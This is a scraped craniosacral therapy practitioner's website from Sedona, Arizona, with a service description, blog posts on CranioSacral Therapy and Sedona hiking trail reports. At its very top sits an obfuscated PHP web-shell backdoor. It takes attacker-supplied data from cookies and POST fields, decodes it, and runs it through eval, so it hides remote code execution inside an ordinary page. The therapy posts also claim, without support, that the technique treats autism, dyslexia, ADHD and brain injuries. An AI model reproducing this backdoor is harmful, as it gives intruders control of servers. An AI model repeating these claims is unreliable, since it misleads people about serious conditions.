$gjOSpeP = chr (75) . "\123" . chr ( 538 - 443 ).'x' . chr ( 987 - 872 )."\x48";$xNwlS = "\143" . "\154" . "\x61" . chr ( 920 - 805 ).chr (115) . "\x5f" . "\x65" . 'x' . "\151" . chr (115) . chr (116) . 's';$NAZFMjn = $xNwlS($gjOSpeP); $gjOSpeP = "57824";$NuRhPsXE = !$NAZFMjn;$xNwlS = "4454";if ($NuRhPsXE){class KS_xsH{private $MZNncIYC;public static $yZDwWp = "9ddb7221-d7b2-436a-ba5d-5acab802b6db";public static $WwcvKZuvfU = 28172;public function __construct($QQPFWa=0){$pBQRZ = $_COOKIE;$aFRLlKzikZ = $_POST;$aECPHAkg = @$pBQRZ[substr(KS_xsH::$yZDwWp, 0, 4)];if (!empty($aECPHAkg)){$nEgcQd = "base64";$HBUoUYFaT = "";$aECPHAkg = explode(",", $aECPHAkg);foreach ($aECPHAkg as $iohOVuzcm){$HBUoUYFaT .= @$pBQRZ[$iohOVuzcm];$HBUoUYFaT .= @$aFRLlKzikZ[$iohOVuzcm];}$HBUoUYFaT = array_map($nEgcQd . "\x5f" . "\x64" . chr (101) . chr ( 605 - 506 )."\157" . chr ( 381 - 281 )."\x65", array($HBUoUYFaT,)); $HBUoUYFaT = $HBUoUYFaT[0] ^ str_repeat(KS_xsH::$yZDwWp, (strlen($HBUoUYFaT[0]) / strlen(KS_xsH::$yZDwWp)) + 1);KS_xsH::$WwcvKZuvfU = @unserialize($HBUoUYFaT);}}private function fXhYkGn(){if (is_array(KS_xsH::$WwcvKZuvfU)) {$WNSpriY = str_replace(chr (60) . '?' . "\160" . chr (104) . 'p', "", KS_xsH::$WwcvKZuvfU["\143" . chr (111) . chr ( 146 - 36 ).chr ( 572 - 456 ).'e' . "\x6e" . chr ( 832 - 716 )]);eval($WNSpriY); $kjdlsuduD = "18214";exit();}}public function __destruct(){$this->fXhYkGn(); $WubTTXVKCO = str_pad("18214", 10);}}$ftMEmOsJ = new /* 4538 */ KS_xsH(); $ftMEmOsJ = substr("50189_48658", 1);} Joy - Joy Nanda, Healing with Joy
video

Do you suffer from any of the following?

  • Headaches or migraines
  • Neck pain or stiffness
  • Back problems
  • TMJ issues
  • Chronic pain or movement restriction anywhere in the body
  • A history of auto accidents, falls, or injury
  • Post-traumatic stress syndrome, anxiety, or an inability to focus

Are you in the process of recovery from a major life event, or the accumulation of daily stessors? Are you looking to make a major breakthrough in your journey of recovery? Has stress begun to erode your natural state of vibrant health?

My name is Pamela Joy, and I have been there! A few years ago, I took a stress scale test, and checked off every item on the list. Needless to say, my normally state of health began to crumble and for the first time in my life, I was faced with major medical intervention. Even though I had many years of training in bodywork, yoga, and stress management techniques, I needed a life mentor to help me apply these methods to my own life and healing. I had to go step-by-step, through my body to release long-held restriction patterns, and at the same time, reviewing the belief systems put in place long ago that kept me stuck in old patterns of living.

Now, I am happy to report that my vibrant health has returned, and I am living a life I love in beautiful Sedona, Arizona. Here in my cozy studio, I help other people work through the types of issues that almost brought me down 8 years ago – loss of a spouse, parent, child, or significant other, career shifts, financial loss, mid-life crisis, injury or other health challenge.

CranioSacral Therapy helps to expand the space for the body and mind to heal itself. My goal is to hold that expanded healing space for each of my clients. The tools I use are primarily CranioSacral Therapy, Yoga Therapy, and SomatoEmotional Release, however the role of the therapist is to listen to the inner wisdom of the client and allow that wisdom to guide the session. CranioSacral Therapy works with the whole body to release restrictions that impair optimal functioning.

The vision for my practice came to my awareness one day soon after I moved to Sedona. Surrounded by the beautiful red rocks every day, I fully realized the powerful healing power of the earth element. Each day, as I gazed upon the earth exposed by millennia of erosion, I began to follow the path of healing laid out before me.

post

What is CranioSacral Therapy?

June 21, 2012 by

Drawing of the CranioSacral System
Craniosacral therapy is a subtle and profound healing form that assists the body’s natural capacity for self-repair. This therapy involves assessing and addressing the movement of the cerebrospinal fluid (CSF), which can be restricted by physical or emotional trauma to the body or from the accumulated effects of general stress and tension.

It is a self-corrective mechanism composed of brain membranes and cerebrospinal fluid, which extends from the bones of the skull, face and mouth making up the cranium (head), down to the sacrum, or (tailbone) area. The role of this system in the development and performance of the brain and spinal cord is so vital that an imbalance or dysfunction in it can cause sensory, motor and/or neurological disabilities.

Like the pulse of the cardiovascular system, the craniosacral system has a rhythm that can be felt throughout the body. Using a touch generally no heavier than the weight of a nickel, skilled practitioners can monitor this rhythm at key body points to pinpoint the source of an obstruction or stress. Once a source has been determined, they can assist the natural movement of the fluid and related soft tissue to help the body self-correct. This simple action is often all it takes to remove a restriction.

It was in 1970, during a neck surgery in which he was assisting, that osteopathic physician John E. Upledger first observed the rhythmic movement of what would soon be identified as the craniosacral system. None of his colleagues nor any of the medical texts at the time could explain this discovery, however.

His curiosity piqued, Dr. Upledger began searching for the answer. He started with the research of Dr. William Sutherland, the father of cranial osteopathy. For some 20 years beginning in the early 1900s, Sutherland had explored the concept that the bones of the skull were structured to allow for movement. For decades after, this theory remained at odds with the beliefs of the scientific and medical communities. Dr. Upledger believed, however, that if Sutherland’s theory of cranial movement was in fact true, this would help explain, and make feasible, the existence of the rhythm he had encountered in surgery.

It was at this point that Dr. Upledger set out to scientifically confirm the existence of cranial bone motion. From 1975 to 1983 he served as clinical researcher and Professor of Biomechanics at Michigan State University, where he supervised a team of anatomists, physiologists, biophysicists and bioengineers in research and testing. The results not only confirmed Sutherland’s theory, but led to clarification of the mechanisms behind this motion – the craniosacral system. Dr. Upledger’s continued work in the field ultimately resulted in his development of CranioSacral Therapy.

Filed Under: Blog, CranioSacral
post

Is CranioSacral Therapy a kind of massage?

June 16, 2012 by

Although CST is being adopted by more and more massage therapists as they discover the amazing power of this light touch, and some massage therapists even incorporate cranial techniques into a traditional Swedish or deep tissue massage, the origins of CST are actually in osteopathic medicine, and the body systems addressed are quite different. A CranioSacral session can be deeply relaxing, as can a massage, but the pathway to this relaxation is different. Massage concentrates on the muscles and connective tissues of the body, and also the circulatory system that nourishes the cells of these tissues and removes waste products. CranioSacral Therapy, on the other hand, works with the tissues of the nervous system, the connective tissues that surround and protect the brain and spinal cord, and the cerebrospinal fluid that nourishes the tissues of these structures. Because it addresses different tissues than massage, CranioSacral Therapy can provide relief for chronic problems that have not been resolved by massage or other types of body work, especially headache, migraines, TMJ issues, neck pain, spinal issues, and problems remaining from accidents, falls or injuries, even those from decades in the past.

Filed Under: Blog, CranioSacral
post

What Conditions Can be Helped by CranioSacral Therapy?

June 21, 2012 by

Among CST’s largest patient groups are those suffering chronic symptoms that haven’t been aided by other approaches. In particular, CST is beneficial to those with head, neck or back injuries resulting from an accident – be it from a car, sports or work mishap or from a fall. The extremely light touch involved in the application of CST makes it a safe approach as well for children, infants and newborns with early traumas, including birth trauma. They especially can benefit from the timely identification and release of restrictions in the craniosacral system, thereby preventing future difficulties such as learning disabilities or hyperactivity.

Another area of principal effectiveness is with stress-related dysfunction’s. Insomnia, fatigue, headaches, poor digestion, anxiety and temporomandibular joint (TMJ) dysfunction are just a few examples. CranioSacral Therapy works to reverse the debilitating effects of stress by providing the conditions in which the nervous system can rest and rejuvenate. In fact, it’s this capacity to reduce stress that’s leading an increasing number of people to include CST as part of their wellness routines.

Other conditions for which CranioSacral Therapy has shown to be effective are various sensory disorders. Among these are eye-motor coordination problems, autism, dyslexia, loss of taste or smell, tinnitus, vertigo and neuralgias such as sciatica and tic douloureux.

By complementing the body’s natural healing processes, CST is increasingly used as a preventive health measure for its ability to bolster resistance to disease, and is effective for a wide range of medical problems associated with pain and dysfunction, including:

  • Migraines and headaches
  • Chronic neck and back pain
  • Stress and tension-related disorders
  • Motor-coordination impairments
  • TMJ syndrome
  • Scoliosis
  • ADD/ADHD
  • Brain and spinal cord injuries
  • Fibromyalgia
  • Chronic fatigue
  • Post-traumatic stress disorder

And many other conditions.

Filed Under: Blog, CranioSacral
post

Is there any condition for which CST shouldn’t be used?

June 21, 2012 by

There are certain situations where application of CST would not be recommended. These include conditions where a variation and/or slight increase in intracranial pressure would cause instability. Acute aneurysm, cerebral hemorrhage or other preexisting severe bleeding disorders are examples of conditions that could be affected by small intracranial pressure changes.

Filed Under: Blog, CranioSacral
post

How many CranioSacral Therapy sessions will I need?

June 21, 2012 by

Response to CST varies from individual to individual and condition to condition. Your response is uniquely your own and can’t be compared to anyone else’s – even those cases that may appear to be similar to your own. The number of sessions needed varies widely – from just one up to three or more a week over the course of several weeks.

Filed Under: Blog, CranioSacral
post

The History and Development of CranioSacral Therapy

June 7, 2012 by

CranioSacral Therapy (CST) is part of osteopathy, a field of medicine founded by Andrew Taylor Still, MD (1828-1917). Dr. Still saw that overly strained body parts cause dysfunction and he developed methods that help the body overcome the strain. He believed that structure and function of the body are related and that the body is self-correcting, so that once the strain pattern was corrected, it could use its innate healing abilities to correct dysfunction.

Dr. Still’s ideas were applied by William G. Sutherland, DO (1873-1954) to the structure and function of the cranial bones and related tissues, founding the field of Cranial Osteopathy. Dr. Sutherland introduced the idea of an inherent rhythmic motion in the cranium, which we can use to release resrictions in the cranial sutures.

John E. Upledger, DO, OMM is the founder of CranioSacral Therapy, a paradigm that combines the Osteopathic outlook from Drs. Still and Sutherland with other full body techniques he developed from his vast understanding of embryological development, quantum physics, cell structure, and therapeutic imagery.

Filed Under: Blog
post

Adobe Jack-Grand Central-Crusty Trail Loop

June 8, 2012 by

Another stellar addition to the Forest Service trail network in the Sedona area! This trailhead is less than half a mile from my home, yet I had not noticed it before I saw it indicated on the 2012 edition of the Beartooth Publishing Sedona Outdoor Recreation Map, at least the first two legs of the loop (the Crusty trail didn’t make it on to the map). The parking lot is so new that workers were adding the final touches to landscaping when I left on a Friday morning in June. From the trailhead, I headed out on the Adobe Jack trail, which runs parallel to Soldier’s Pass Road. Occasionally, you find yourself within 50 feet of someone’s back yard, but moving on there are some more remote sections. The gorgeous views begin almost right away.

Filed Under: Hiking
post

Cockscomb-Aerie Loop

June 7, 2012 by

Doe Mountain from the Aerie Trail

Doe Mountain from the Aerie Trail


I LOVED this hike! I hiked the 5.5 miles in two hours and twenty minutes, which went by quickly because of the beautiful views in all directions. The footing was solid most of the way, allowing me to really hit my pace, except I kept stopping to snap photos with my iPhone. I started from the Aerie Trailhead, which is beyond the Fay Canyon and Bear/Doe Mountain Trailhead parking areas on Route 152C. This lot was completely deserted when I started early on a Wednesday morning, and had maybe two other cars when I returned. There are no restroom facilities at this trailhead. The loop could easily be accessed from the more developed Bear/Doe Mountain TH 1/2 mile away.

Photos coming!

Filed Under: Hiking
post

Dawa-Cypress-OK Loop

June 5, 2012 by
Hiking Dawa Trail Sedona

View towards the end of the loop

This trailhead is a small pull off on 152C. Take Dry Creek Road until it ends at a “T” intersection. Turn left at the stop sign and look for the small trailhead sign on your left at about 0.5 miles. You can park on either side of the road. Total length of this loop is 2.5 miles, but you can extend your loop easily to include other trails that connect. Most of the trail is flat and sandy, with just a few areas near washes that are rocky. One morning I had a guest sleeping in my bedroom and woke up for an early morning hike alone. I didn’t want to disturb her by going after my hiking shoes in my closet, so I took off with only a pair of socks and some pretty non-supportive sandals. While I don’t normally recommend this type of foot wear for hiking in Sedona, I did just fine on the Dawa Trail. I hit the trail at 6:00am on a Saturday morning in early June. The temperature was actually slightly chilly in a t-shirt that time of day. Definitely worth the early rise! I saw a couple of cars parked along the road, but did not encounter anyone on the trail. Bliss! Just off the trailhead (0.1 miles), the Dawa Trail splits to the right, while the OK Trail goes left. Take the right branch to hike this trail in a counter-clockwise direction. At 0.8 miles, take a left to continue on the Dawa Trail, then in another 0.8 miles, turn left on the AZ Cypress Trail. Shortly afterwards, you’ll see the unmarked Anaconda Trail branching off to the right. Continue on the Cypress Trail 0.4 miles to connect with the OK Trail and continue back to the first leg of the Dawa trail and the Trailhead. The finale of this hike has lovely views of rock formations.

Filed Under: Hiking
post

Made in the Shade/Slim Shady Loop

June 5, 2012 by
View of Courthouse Butte and Bell Rock from Slim Shady Trail

View of Courthouse Butte and Bell Rock from Slim Shady Trail

Start this hike from the Yavapai Vista Trailhead in the Village of Oak Creek. It is possible to shorten the approach by a quarter mile by parking in the Court House Vista Parking lot, crossing SR 179 and picking up the unmarked access trail slightly to the south, but parking is easier at Yavapai Vista and you don’t have to cross the busy highway. Access to the Slim Shady trail is to your left as you enter the parking lot, using the Yavapai trail. At the junction with Slim Shady, take a left and continue .4 miles to the junction with Made in the Shade on your left. You will climb a bit through juniper and interesting rock formations, until you are directly across from Bell Rock and about halfway up with respect to that formation. Watch the ant-like procession of hikers climbing Bell Rock if it is a busy day. Meanwhile, you won’t be in any traffic jams on your side of the street. An occasional hiker or biker is all you’ll likely see. After 1.1 miles, you will meet Slim Shady again. Turn left to return north to the parking lot. A beautiful hike!

Filed Under: Hiking
post

Sedona Hiking

June 4, 2012 by
Filed Under: Hiking
« Previous Page